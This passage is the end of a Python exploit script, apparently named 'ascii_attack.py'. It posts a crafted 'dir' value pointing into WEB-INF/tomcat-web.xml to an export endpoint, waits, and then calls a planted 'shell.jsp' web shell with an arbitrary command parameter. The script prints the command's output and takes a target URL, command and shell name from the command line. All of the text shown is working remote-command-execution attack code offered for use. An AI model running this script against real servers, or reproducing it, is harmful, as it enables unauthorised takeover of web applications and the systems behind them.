    requests.post(f"{target}/export", data={"dir": "./WEB-INF/tomcat-web.xml/", "filename": "x", "content": "x"})
    time.sleep(12)
    r = requests.get(f"{target}/{name}", params={"c": cmd}, timeout=15)
    out = r.text.strip().split("-->")[-1].strip()
    return out.rstrip("\x00")


if __name__ == "__main__":
    t = sys.argv[1].rstrip("/")
    c = sys.argv[2] if len(sys.argv) > 2 else "id"
    n = sys.argv[3] if len(sys.argv) > 3 else "shell.jsp"
    print(attack(t, c, n))


# python3 ascii_attack.py http://127.0.0.1:8080 ls